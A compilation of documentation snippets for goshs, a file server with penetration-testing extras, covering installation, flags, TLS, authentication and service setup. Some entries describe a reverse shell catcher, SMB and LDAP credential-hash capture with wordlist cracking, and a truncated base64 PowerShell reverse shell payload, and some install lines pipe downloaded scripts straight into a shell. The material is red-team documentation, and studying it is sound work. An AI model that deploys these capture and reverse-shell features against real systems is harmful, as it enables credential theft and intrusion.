### goshs usage examples

Source: https://docs.goshs.de/usage/index.html

A list of example commands for starting goshs with various configurations, including default, config file, webdav, port, certificates, authentication, SMB, DNS, SMTP, reverse shell catcher, TTL, and TUI.

```text
Usage examples:
  Start with default values:            ./goshs
  Start with config file:               ./goshs -C /path/to/config.json
  Start with webdav support:            ./goshs -w
  Start with different port:            ./goshs -p 8080
  Start with self-signed cert:          ./goshs -s -ss
  Start with let's encrypt:             ./goshs -s -sl -sle your@mail.com -sld your.domain.com,your.seconddomain.com
  Start with custom cert:               ./goshs -s -sk <path to key> -sc <path to cert>
  Start with basic auth:                ./goshs -b 'secret-user:$up3r$3cur3'
  Start with basic auth bcrypt hash:    ./goshs -b 'secret-user:$2a$14$ydRJ//Ob4SctB/D7o.rvU.LmPs/vwXkeXCbtpCqzgOJDSShLgiY52'
  Start with basic auth empty user:     ./goshs -b ':$up3r$3cur3'
  Start with cli enabled:               ./goshs -b 'secret-user:$up3r$3cur3' -s -ss -c
  Start with SMB capture:               ./goshs -smb -smb-domain CORP -smb-share files
  Start with DNS server:                ./goshs -dns -dns-ip 10.10.14.1
  Start with SMTP server:               ./goshs -smtp -smtp-domain mail.example.com
  Start with reverse shell catcher:     ./goshs -s -ss -b user:pass --catcher
  Start with TTL self-destruct (2h):    ./goshs --ttl 2h
  Start with TUI dashboard:             ./goshs --tui
```

--------------------------------

### Install to custom directory with INSTALL_DIR env var

Source: https://docs.goshs.de/installation/curl/index.html

Installs goshs to a custom directory by setting the INSTALL_DIR environment variable. The example uses ~/.local/bin as the target directory.

```shell
INSTALL_DIR=~/.local/bin curl -sSfL https://goshs.de/install.sh | sh
```

--------------------------------

### Install snapd on Fedora

Source: https://docs.goshs.de/installation/snap/index.html

Installs snapd on Fedora and creates the /snap symlink.

```bash
sudo dnf install snapd
sudo ln -s /var/lib/snapd/snap /snap
```

--------------------------------

### Install goshs with go install

Source: https://docs.goshs.de/installation/go/index.html

Run this command to install the latest version of goshs. It uses the Go module proxy to fetch and install the package.

```bash
go install goshs.de/goshs/v2@latest
```

--------------------------------

### Install goshs with yay

Source: https://docs.goshs.de/installation/arch/index.html

Install goshs from the Arch User repositories using the yay helper. Requires an Arch-based system with yay installed.

```bash
yay -S goshs-bin
```

--------------------------------

### Install goshs with zypper

Source: https://docs.goshs.de/installation/opensuse/index.html

Install goshs from the OpenSUSE repositories using zypper.

```bash
sudo zypper install goshs
```

--------------------------------

### Start goshs with catcher enabled

Source: https://docs.goshs.de/usage/collaboration/catcher/index.html

Example commands to start goshs with the reverse shell catcher enabled, optionally specifying a listening IP or combining with other CTF features.

```bash
# Start goshs with catcher enabled
goshs -s -ss -b admin:secret --catcher

# With a specific listening IP
goshs -s -ss -b admin:secret -i 10.10.14.5 --catcher

# Combined with other CTF features
goshs -s -ss -b admin:secret --catcher -dns -dns-ip 10.10.14.5 -smb
```

--------------------------------

### Install goshs with Scoop

Source: https://docs.goshs.de/installation/scoop/index.html

Run these commands in a Windows terminal. First add the 'extras' bucket to Scoop, then install goshs from that bucket.

```bash
scoop bucket add extras
scoop install extras/goshs
```

--------------------------------

### Install snapd on Debian/Ubuntu

Source: https://docs.goshs.de/installation/snap/index.html

Installs snapd on Debian or Ubuntu systems.

```bash
sudo apt install snapd
```

--------------------------------

### Start SMB server with goshs -smb

Source: https://docs.goshs.de/usage/collaboration/smb/index.html

Starts the SMB listener on port 445 (default) with share name 'goshs' and domain 'GOSHS'. Any client authentication triggers NTLM hash capture.

```bash
goshs -smb
```

--------------------------------

### Install snapd on Arch Linux

Source: https://docs.goshs.de/installation/snap/index.html

Installs snapd on Arch Linux using yay and enables the snapd socket.

```bash
yay -S snapd
sudo systemctl enable --now snapd.socket
```

--------------------------------

### Install goshs via curl | sh

Source: https://docs.goshs.de/installation/curl/index.html

Default installation command that downloads and executes the official install script. The script detects OS and architecture, fetches the latest release, verifies SHA-256 checksum, and installs to /usr/local/bin (falling back to sudo or ~/bin if needed).

```shell
curl -sSfL https://goshs.de/install.sh | sh
```

--------------------------------

### Install goshs via Snap

Source: https://docs.goshs.de/installation/snap/index.html

Installs goshs from the Snap Store on any Linux distribution with snapd installed.

```bash
snap install goshs
```

--------------------------------

### Start plain FTP server with goshs -ftp

Source: https://docs.goshs.de/usage/sftp/index.html

Starts goshs as a plain FTP server. The first command uses the default port 2121; the second sets a custom port with -ftp-port.

```bash
# Start plain FTP server on default port 2121
goshs -ftp

# Start on a custom port
goshs -ftp -ftp-port 2121
```

--------------------------------

### Install goshs with pacman

Source: https://docs.goshs.de/installation/blackarch/index.html

Installs goshs from the BlackArch repository. Requires the BlackArch repository to be set up on your system first.

```bash
pacman -S goshs
```

--------------------------------

### TUI with catcher and DNS (example commands)

Source: https://docs.goshs.de/usage/tui/index.html

Example goshs commands combining the TUI with other options: one with catcher and DNS, another with a self-destruct timer (TTL).

```shell
# TUI with catcher and DNS
goshs --tui -s -ss -b admin:secret --catcher -dns -dns-ip 10.10.14.5

# Combined with a self-destruct timer
goshs --tui -s -ss -b admin:secret --catcher --ttl 4h
```

--------------------------------

### Config file example for ttl

Source: https://docs.goshs.de/usage/ttl/index.html

In the config file, the ttl key is specified in seconds. The example sets 7200 seconds (2 hours).

```json
{
  "ttl": 7200
}

```

--------------------------------

### Install Chocolatey prerequisites (elevated PowerShell)

Source: https://docs.goshs.de/installation/chocolatey/index.html

Run these commands in an elevated PowerShell prompt to install Chocolatey if it is not already installed. The commands set the execution policy, enable TLS 1.2, and download the official installer.

```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
```

--------------------------------

### Configure zsh user install completion in ~/.zshrc

Source: https://docs.goshs.de/installation/completion/index.html

Adds the user install completion directory to the fpath and initializes the completion system. Add this to ~/.zshrc if not already present.

```zsh
fpath=(~/.local/share/zsh/site-functions $fpath)
autoload -U compinit && compinit
```

--------------------------------

### Install shell completion for bash, fish, and zsh

Source: https://docs.goshs.de/installation/completion/index.html

Installs tab completion for bash, fish, and zsh directly from the goshs binary. After installation, goshs prints the exact command to activate completion in the current session.

```bash
goshs --completion bash
goshs --completion fish
goshs --completion zsh
```

--------------------------------

### Build goshs from source with make build-all

Source: https://docs.goshs.de/installation/build/index.html

Clone the goshs repository and build it using make build-all. Requires esbuild and sass to be installed first.

```bash
git clone https://github.com/goshs-labs/goshs.git
cd goshs
make build-all
```

--------------------------------

### Enable goshs service at boot

Source: https://docs.goshs.de/service/index.html

Enables the goshs service to start at boot. The output confirms the symlink creation.

```bash
sudo systemctl enable goshs.service

Created symlink /etc/systemd/system/multi-user.target.wants/goshs.service → /etc/systemd/system/goshs.service.
```

--------------------------------

### Initialize zsh completion for Homebrew or root installs

Source: https://docs.goshs.de/installation/completion/index.html

Initializes the completion system for Homebrew or root installs, where the completion directory is already on the default $fpath.

```zsh
autoload -U compinit && compinit
```

--------------------------------

### Start goshs with DNS and SMTP servers

Source: https://docs.goshs.de/usage/collaboration/index.html

Starts goshs bound to port 53 for DNS and port 25 for SMTP, using the specified domain. Ports 53 and 25 are privileged; run as root or use -u to drop privileges after binding.

```bash
goshs -dns -dns-port 53 -dns-ip 1.2.3.4 -smtp -smtp-port 25 -smtp-domain your-domain.com
```

--------------------------------

### Install goshs with nix-env

Source: https://docs.goshs.de/installation/nix/index.html

Install goshs from the Nixpkgs repository using nix-env. This command is intended for users who are already using Nix or NixOS.

```bash
nix-env -iA nixpkgs.goshs
```

--------------------------------

### Start LDAP server with goshs -ldap

Source: https://docs.goshs.de/usage/collaboration/ldap/index.html

Starts the LDAP credential capture server on the default port 389. Port 389 is privileged on Linux, so run as root, use -u to drop privileges after binding, or change the port with -ldap-port.

```bash
goshs -ldap
```

--------------------------------

### Start SFTP server with goshs -ftp -ftp-sftp

Source: https://docs.goshs.de/usage/sftp/index.html

Starts goshs as an SFTP server with -ftp-sftp. Supports password (-b), public key (-fkf), read-only (-ro), permanent host key (-fhk), and custom port (-ftp-port).

```bash
# Password authentication
goshs -ftp -ftp-sftp -b user:password

# Public key authentication
goshs -ftp -ftp-sftp -fkf ~/.ssh/authorized_keys

# Both methods, read-only, permanent host key
goshs -ftp -ftp-sftp -b user:password -fkf ~/.ssh/authorized_keys -ro -fhk ./goshs_rsa_key

# Custom port
goshs -ftp -ftp-sftp -ftp-port 2022 -b user:password
```

--------------------------------

### Start SMTP server with goshs -smtp

Source: https://docs.goshs.de/usage/collaboration/smtp/index.html

Starts the SMTP listener on the default port 2525.

```bash
goshs -smtp
```

--------------------------------

### Start goshs TFTP server with -tftp and -tftp-port

Source: https://docs.goshs.de/usage/tftp/index.html

Starts the goshs TFTP server. The first command binds the default port 69, which requires privileges (e.g. sudo). The second uses -tftp-port to listen on an unprivileged port.

```bash
# Start TFTP server on the default port 69 (needs privileges)
sudo goshs -tftp

# Start on a custom, unprivileged port
goshs -tftp -tftp-port 6900
```

--------------------------------

### Install goshs with apk

Source: https://docs.goshs.de/installation/alpine/index.html

Updates the package index and installs the goshs package from the edge/testing repository.

```shell
apk update
apk add goshs
```

--------------------------------

### Install goshs with Chocolatey

Source: https://docs.goshs.de/installation/chocolatey/index.html

Installs the goshs package from the Chocolatey community repository. Run in a terminal with appropriate permissions.

```powershell
choco install goshs
```

--------------------------------

### Install goshs via apt on Kali Linux

Source: https://docs.goshs.de/installation/kali/index.html

Run this command in a terminal on Kali Linux to install goshs from the official repositories. Requires sudo privileges.

```bash
sudo apt install goshs
```

--------------------------------

### Start DNS server with default settings

Source: https://docs.goshs.de/usage/collaboration/dns/index.html

Starts the goshs DNS server on the default UDP port 8053. Use this command to begin logging DNS queries for penetration testing or CTF scenarios.

```bash
goshs -dns
```

--------------------------------

### Start goshs with basic authentication

Source: https://docs.goshs.de/usage/authentication/basic/index.html

Starts goshs with basic authentication using the -b flag. The format is -b user:password, where user can be empty. A warning is shown because credentials are sent in cleartext without SSL.

```bash
$ goshs -b secret-user:secret-password
WARNING[2024-07-04 18:01:46] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too. 
INFO   [2024-07-04 18:01:46] Using basic auth with user 'secret-user' and password 'secret-password' 
INFO   [2024-07-04 18:01:46] Download embedded file at: /example.txt?embedded 
INFO   [2024-07-04 18:01:46] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2024-07-04 18:01:46] Serving on interface eth0 bound to 10.137.0.27:8000 
INFO   [2024-07-04 18:01:46] Serving HTTP from /home/user                 
```

--------------------------------

### Create goshs config directory

Source: https://docs.goshs.de/service/index.html

Creates the directory for the goshs configuration file. Run this before copying the example config to /etc/goshs/goshs.json.

```bash
sudo mkdir -p /etc/goshs
```

--------------------------------

### Run goshs with LDAP wordlist

Source: https://docs.goshs.de/usage/collaboration/ldap/index.html

Start goshs with LDAP capture and a custom wordlist for background hash cracking. The file is streamed so the response to the client is not delayed.

```bash
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
```

--------------------------------

### Start goshs WebDAV server with -w

Source: https://docs.goshs.de/usage/webdav/index.html

Start goshs in WebDAV mode. The first command uses the default port 8001. The second command changes the port to 9001 and enables basic authentication with the given username and password.

```bash
# WebDAV on default port 8001
goshs -w

# WebDAV on a custom port with authentication
goshs -w -wp 9001 -b user:password
```

--------------------------------

### Start goshs with CA certificate authentication (-ca)

Source: https://docs.goshs.de/usage/authentication/cert/index.html

Starts goshs with certificate-based authentication using a CA certificate and a PKCS#12 server certificate. Requires TLS in any form (e.g., -s with -ss, -sk/-sc/-p12, or -sl). Prompts for the p12 password and logs the CA certificate path, bound interfaces, and SHA-256/SHA-1 fingerprints.

```bash
$ goshs -s -p12 server/goshs.p12 -ca ca/ca.crt 
INFO   [2024-07-04 18:01:46] Download embedded file at: /example.txt?embedded 
INFO   [2024-07-04 18:01:46] Download embedded file at: /test?embedded    
Enter password for server/goshs.p12: 
INFO   [2024-07-04 18:01:46] Using certificate auth with ca certificate: ca/ca.crt 
INFO   [2024-07-04 18:01:46] Serving on interface eth0 bound to 10.137.0.27:8000 
INFO   [2024-07-04 18:01:46] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2024-07-04 18:01:46] Serving HTTPS from /home/user with ssl enabled server key: , server cert: , server p12: server/goshs.p12 
INFO   [2024-07-04 18:01:46] You provided a certificate and might want to check the fingerprint nonetheless 
INFO   [2024-07-04 18:01:46] SHA-256 Fingerprint: 69 69 49 1A BE 4E 4D 00 37 B9 3E 6F 40 EF C8 DD 81 8F 69 18 C1 07 39 BC 3E 0F B2 43 C8 2D 7B 01  
INFO   [2024-07-04 18:01:46] SHA-1   Fingerprint: 0B 39 8E CA 16 E5 F3 EA 86 E5 7D B2 31 8F 7D C8 28 8D 42 E2  
```

--------------------------------

### goshs JSON config file example

Source: https://docs.goshs.de/usage/config/index.html

Example JSON config struct for goshs. The config file overwrites all provided config flags. Ensure the config file is not hosted in the served directory to avoid a security issue.

```json
{
  "interface": "0.0.0.0",
  "port": 8000,
  "directory": ".",
  "upload_folder": ".",
  "ssl": false,
  "self_signed": false,
  "private_key": "",
  "certificate": "",
  "p12": "",
  "p12_no_pass": false,
  "letsencrypt": false,
  "letsencrypt_domain": "",
  "letsencrypt_email": "",
  "letsencrypt_http_port": "80",
  "letsencrypt_tls_port": "443",
  "auth_username": "",
  "auth_password": "",
  "certificate_auth": "",
  "webdav": false,
  "webdav_port": 8001,
  "upload_only": false,
  "read_only": false,
  "no_chat": false,
  "persist_chat": false,
  "persist_chat_images": false,
  "no_delete": false,
  "verbose": false,
  "silent": false,
  "invisible": false,
  "running_user": "",
  "cli": false,
  "embedded": false,
  "output": "",
  "webhook_enabled": false,
  "webhook_url": "",
  "webhook_provider": "discord",
  "webhook_events": [
    "all"
  ],
  "whitelist": "",
  "trusted_proxies": "",
  "tunnel": false,
  "dns_server": false,
  "dns_port": 8053,
  "dns_ip": "127.0.0.1",
  "smtp_server": false,
  "smtp_port": 2525,
  "smtp_domain": "",
  "smb_server": false,
  "smb_port": 445,
  "smb_domain": "",
  "smb_share": "",
  "smb_wordlist": "",
  "max_upload_size": 0,
  "catcher": false,
  "ldap": false,
  "ldap_port": 389,
  "ldap_jndi": false,
  "ldap_jndi_base": "",
  "ldap_wordlist": "",
  "ftp": false,
  "ftp_port": 2121,
  "ftp_sftp_mode": false,
  "ftp_keyfile": "",
  "ftp_host_keyfile": "",
  "ttl": 0,
  "tui": false,
  "template": false,
  "template_vars": []
}
```

--------------------------------

### Start goshs with auth, TLS, and invisible mode for command feature

Source: https://docs.goshs.de/usage/restrictions/index.html

Start goshs with authentication, TLS, and invisible mode to enable the command feature. Requires auth and TLS enabled. The command uses -s (TLS), -ss (self-signed), -b test:test (basic auth), -c (command), and -I (invisible).

```bash
> goshs -s -ss -b test:test -c -I
```

--------------------------------

### Run goshs with p12 file (-s -p12)

Source: https://docs.goshs.de/usage/tls/own-cert/index.html

Start goshs with a p12 file using the -s -p12 flag. goshs will prompt for the password of the p12 file before starting, as shown by the 'Enter password for cert.p12: ****' line. The server logs the p12 path and the SHA-256 and SHA-1 fingerprints.

```bash
$ goshs -s -p12 cert.p12
INFO   [2024-07-04 18:01:46] Download embedded file at: /example.txt?embedded 
Enter password for cert.p12: ****
INFO   [2024-07-04 18:01:46] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2024-07-04 18:01:46] Serving on interface eth0 bound to 10.137.0.27:8000 
INFO   [2024-07-04 18:01:46] Serving HTTPS from /home/user with ssl enabled server key: , server cert: , server p12: /tmp/test/cert.p12 
INFO   [2024-07-04 18:01:46] You provided a certificate and might want to check the fingerprint nonetheless 
INFO   [2024-07-04 18:01:46] SHA-256 Fingerprint: B4 46 6E A6 78 1B 1D B0 6D BA 66 68 3E 1E E0 65 38 65 6C 98 30 63 83 1E 3F DB AE D5 9E 28 42 50  
INFO   [2024-07-04 18:01:46] SHA-1   Fingerprint: 87 88 A8 F9 9D 44 14 16 2A 9C 6A C5 89 B8 E1 D5 2B 26 5F 9B  

```

--------------------------------

### Start goshs with IP whitelist and trusted proxy whitelist

Source: https://docs.goshs.de/usage/ip-whitelist/index.html

Starts goshs with IP whitelisting for Web, WebDAV, and SFTP. The -ipw flag accepts CIDR notation for IPv4 and IPv6, and -tpw specifies trusted proxies whose X-Forwarded-For and X-Real-IP headers are parsed.

```bash
goshs -ipw 127.0.0.1,192.168.0.1/24,217.147.137.129 -tpw 192.168.0.1/24,217.147.137.1
```

--------------------------------

### Check goshs service status

Source: https://docs.goshs.de/service/index.html

Checks the goshs service status. The example output shows the service active and running with the goshs binary started with the -C flag.

```bash
sudo systemctl status goshs.service

● goshs.service - goshs File Server
     Loaded: loaded (/etc/systemd/system/goshs.service; disabled; preset: enabled)
     Active: active (running) since Thu 2024-07-04 18:01:46 CEST; 8s ago
   Main PID: 14205 (goshs)
      Tasks: 10 (limit: 7680)
     Memory: 7.5M
        CPU: 80ms
     CGroup: /system.slice/goshs.service
             └─14205 /usr/local/bin/goshs -C /etc/goshs/goshs.json

...
```

--------------------------------

### SMB server options help

Source: https://docs.goshs.de/usage/collaboration/smb/index.html

Lists all SMB server options: -smb, -smb-port, -smb-domain, -smb-share, and -smb-wordlist with defaults. Use to configure the SMB server behavior.

```text
SMB server options:
  -smb                        Activate SMB server capabilities         (default: false)
  -smb-port,   --smb-port     The port SMB listens on                  (default: 445)
  -smb-domain, --smb-domain   The domain to use for SMB authentication (default: GOSHS)
  -smb-share,  --smb-share    The share to use for SMB authentication  (default: goshs)
  -smb-wordlist               Wordlist file for quick hash cracking    (default: none)
```

--------------------------------

### Install goshs with Homebrew

Source: https://docs.goshs.de/installation/homebrew/index.html

Installs goshs on macOS using Homebrew. Requires Homebrew to be installed on the system.

```bash
brew install goshs
```

--------------------------------

### Install goshs on Fedora via COPR

Source: https://docs.goshs.de/installation/copr/index.html

Enables the goshs-labs/goshs COPR repository and installs goshs on Fedora.

```bash
dnf copr enable goshs-labs/goshs
dnf install goshs
```

--------------------------------

### Reload and start goshs service

Source: https://docs.goshs.de/service/index.html

Reloads systemd and starts the goshs service after creating the unit file.

```bash
sudo systemctl daemon-reload
sudo systemctl start goshs.service
```

--------------------------------

### Run goshs with default settings

Source: https://docs.goshs.de/usage/basic/index.html

Starts goshs from the current working directory on port 8000. The output shows the server binding to loopback and ethernet interfaces and serving HTTP from /home/user.

```bash
$ goshs
INFO   [2024-07-04 18:01:46] Download embedded file at: /example.txt?embedded 
INFO   [2024-07-04 18:01:46] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2024-07-04 18:01:46] Serving on interface eth0 bound to 10.137.0.27:8000 
INFO   [2024-07-04 18:01:46] Serving HTTP from /home/user 

```

--------------------------------

### Install Goshs with winget

Source: https://docs.goshs.de/installation/winget/index.html

Installs Goshs using the official Windows Package Manager (winget). Requires Windows 10 (1709+) or Windows 11.

```powershell
winget install GoshsLabs.Goshs
```

--------------------------------

### Enable templating with --template and --tpl-var

Source: https://docs.goshs.de/usage/templating/index.html

Starts goshs with templating enabled, binding to a single IP and defining the LPORT variable. The --template flag turns on the feature, and --tpl-var KEY=VALUE defines a variable and may be repeated.

```bash
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
```

--------------------------------

### Show DNS server CLI options

Source: https://docs.goshs.de/usage/collaboration/dns/index.html

Displays the available command-line options for the DNS server, including the -dns, -dns-port, and -dns-ip flags with their defaults. Run this to see the full help output for DNS-related flags.

```text
Collaboration options:
  -dns, --dns-server           Enable DNS server                   (default: false)
  -dns-port, --dns-port        DNS server port        (default: 8053)
  -dns-ip, --dns-ip            DNS server Reply IP     (default: 127.0.0.1)

```

--------------------------------

### Start goshs with interactive terminal

Source: https://docs.goshs.de/usage/command-prompt/index.html

Starts goshs with the -c flag to enable an interactive terminal. This mode is dangerous and must be used with -s and -b flags as shown.

```bash
goshs -s -ss -b user:password -c
```

--------------------------------

### Install specific version with VERSION env var

Source: https://docs.goshs.de/installation/curl/index.html

Installs a specific goshs version by setting the VERSION environment variable before the curl command. Replace v2.0.7 with the desired version tag.

```shell
VERSION=v2.0.7 curl -sSfL https://goshs.de/install.sh | sh
```

--------------------------------

### goshs command-line usage and options

Source: https://docs.goshs.de/usage/index.html

Shows the basic invocation syntax and the full list of command-line options for goshs v2.1.6. Options are grouped by category: web server, TLS, FTP/SFTP, TFTP, SMB, authentication, connection restriction, and collaboration. Defaults are shown where applicable.

```text
goshs v2.1.6
Usage: goshs [options]

Web server options:
  -i,  --ip             IP or Interface to listen on              (default: 0.0.0.0)
  -p,  --port           The port to listen on                     (default: 8000)
  -d,  --dir            The web root directory                    (default: current working path)
  -w,  --webdav         Also serve using webdav protocol          (default: false)
  -wp, --webdav-port    The port to listen on for webdav          (default: 8001)
  -ro, --read-only      Read only mode, no upload possible        (default: false)
  -uo, --upload-only    Upload only mode, no download possible    (default: false)
  -uf, --upload-folder  Specify a different upload folder         (default: current working path)
  -mu, --max-upload     Maximum upload size in bytes, 0=unlimited (default: 0)
  -nc, --no-chat        Disable the team chat                     (default: false)
  -pc, --persist-chat   Persist chat to disk (.goshs-chat/)       (default: false)
  -pci,--persist-chat-images  Write pasted chat images to disk   (default: false)
  -nd, --no-delete      Disable the delete option                 (default: false)
  -si, --silent         Running without dir listing               (default: false)
  -I,  --invisible      Invisible mode                            (default: false)
  -c,  --cli            Enable cli (only with auth and tls)       (default: false)
  --catcher, -rc        Enable reverse shell catcher              (default: false)
  -e,  --embedded       Show embedded files in UI                 (default: false)
  -o,  --output         Write output to logfile                   (default: false)
  -t,  --tunnel         Enable tunnel                             (default: false)

TLS options:
  -s,     --ssl           Use TLS
  -ss,    --self-signed   Use a self-signed certificate
  -sk,    --server-key    Path to server key
  -sc,    --server-cert   Path to server certificate
  -p12,   --pkcs12        Path to server p12
  -p12np, --p12-no-pass   Server p12 has empty password
  -sl,    --lets-encrypt  Use Let's Encrypt as certification service
  -sld,   --le-domains    Domain(s) to request from Let's Encrypt               (comma separated list)
  -sle,   --le-email      Email to use with Let's Encrypt
  -slh,   --le-http       Port to use for Let's Encrypt HTTP Challenge  (default: 80)
  -slt,   --le-tls        Port to use for Let's Encrypt TLS ALPN Challenge (default: 443)

FTP/SFTP server options:
  -ftp                          Activate FTP server capabilities          (default: false)
  -ftp-port                     The port FTP/SFTP listens on              (default: 2121)
  -ftp-sftp                     Switch to SFTP instead of plain FTP       (default: false)
  -fkf, --ftp-keyfile           Authorized_keys file for SFTP pubkey auth
  -fhk, --ftp-host-keyfile      SSH host key file for SFTP identification

TFTP server options:
  -tftp, --tftp-server          Activate TFTP server capabilities         (default: false)
  -tftp-port                    The port TFTP listens on                  (default: 69)

SMB server options:
  -smb                        Activate SMB server capabilities         (default: false)
  -smb-port,   --smb-port     The port SMB listens on                  (default: 445)
  -smb-domain, --smb-domain   The domain to use for SMB authentication (default: WORKGROUP)
  -smb-share,  --smb-share    The share to use for SMB authentication  (default: goshs)
  -smb-wordlist               Wordlist file for quick hash cracking    (default: none)

Authentication options:
  -b,  --basic-auth     Use basic authentication (user:pass - user can be empty)
  -ca, --cert-auth      Use certificate based authentication - provide ca certificate
  -H,  --hash           Hash a password for file based ACLs

Connection restriction:
  -ipw, --ip-whitelist             Comma separated list of IPs to whitelist
  -tpw, --trusted-proxy-whitelist  Comma separated list of trusted proxies

Collaboration options:
  -dns, --dns-server           Enable DNS server                   (default: false)
  -dns-port, --dns-port        DNS server port                     (default: 8053)
  -dns-ip, --dns-ip            DNS server Reply IP                 (default: 127.0.0.1)
  -smtp, --smtp-server         Enable SMTP server                  (default: false)
  -smtp-port, --smtp-port      SMTP server port                    (default: 2525)
  -smtp-domain, --smtp-domain  SMTP server domain                  (default: open relay)
```

--------------------------------

### Generate Let's Encrypt certificate with goshs

Source: https://docs.goshs.de/usage/tls/lets-encrypt/index.html

Starts goshs with Let's Encrypt enabled, specifying the contact email and comma-separated domain names. Requires an A DNS record pointing to the server's IP and root privileges so Let's Encrypt can reach ports 80 and 443. On success, creates files named key and cert.

```bash
goshs -s -sl -sle your@mail.com -sld your.domain.com,your.seconddomain.com
```

--------------------------------

### Start goshs with hashed password

Source: https://docs.goshs.de/usage/authentication/basic/index.html

Starts goshs with basic authentication using a hashed password. The hash is generated with goshs -H. Enclose the argument in single quotes to prevent the $ signs in the hash from breaking the command.

```bash
goshs -b 'test:$2a$14$zQCKs8RTPVQEBKKvzDgrAur9DJ4MZ0hLYNjPymg3.RB8T8C/xIqpG'
```

--------------------------------

### PowerShell Base64 payload example

Source: https://docs.goshs.de/usage/collaboration/catcher/index.html

Example of a PowerShell Base64-encoded payload generated by the Reverse Shell Generator (PowerShell #3 or #5). The payload is UTF-16LE Base64 encoded, suitable for use with `powershell -e` in cmd.exe or PowerShell.

```powershell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU...
```

--------------------------------

### SMTP server options help output

Source: https://docs.goshs.de/usage/collaboration/smtp/index.html

Shows the available SMTP server options and their defaults.

```text
Collaboration options:
  -smtp, --smtp-server         Enable SMTP server                  (default: false)
  -smtp-port, --smtp-port      SMTP server port                    (default: 2525)
  -smtp-domain, --smtp-domain  SMTP server domain                  (default: open relay)
```

--------------------------------

### Start goshs with --tunnel

Source: https://docs.goshs.de/usage/tunnel/index.html

Start goshs with tunneling enabled using the --tunnel flag. The output shows the public tunnel URL (https://e8dae599c7b6ac.lhr.life) and the interfaces on which goshs is serving. Do not use -s; keep plaintext for this to work.

```bash
$ goshs --tunnel
INFO   [2024-07-07 15:21:32] You are running the newest version (v1.1.4) of goshs 
INFO   [2024-07-07 15:21:32] Download embedded file at: /example.txt?embedded 
INFO   [2024-07-07 15:21:33] Public tunnel URL: https://e8dae599c7b6ac.lhr.life 
INFO   [2024-07-07 15:21:33] Serving on interface eth0 bound to 10.137.0.25:8000 
INFO   [2024-07-07 15:21:33] Serving on interface docker0 bound to 172.17.0.1:8000 
INFO   [2024-07-07 15:21:33] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2024-07-07 15:21:33] Serving HTTP from /home/user 

```